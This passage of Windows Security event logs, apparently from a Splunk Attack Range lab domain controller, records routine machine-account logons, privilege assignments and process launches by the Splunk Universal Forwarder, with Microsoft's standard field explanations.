The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:37:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256666
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43E9FB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:38:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256670
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x264
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:38:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256669
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:38:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256671
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x104c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:38:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256672
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:38:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256673
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:38:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256674
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x111c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:38:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256675
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:38:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256678
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x441F78

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:38:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256677
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x441F78
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65500

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:38:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256676
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x441F78

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:39:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256679
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:39:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256681
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:39:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256680
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x137c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:39:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256682
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1374
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:39:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256683
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1128
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:39:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256684
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1380
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:39:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256685
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1214
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:39:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256688
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4454C4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:39:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256687
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4454C4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65513

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:39:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256686
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4454C4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:40:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256689
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf10
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

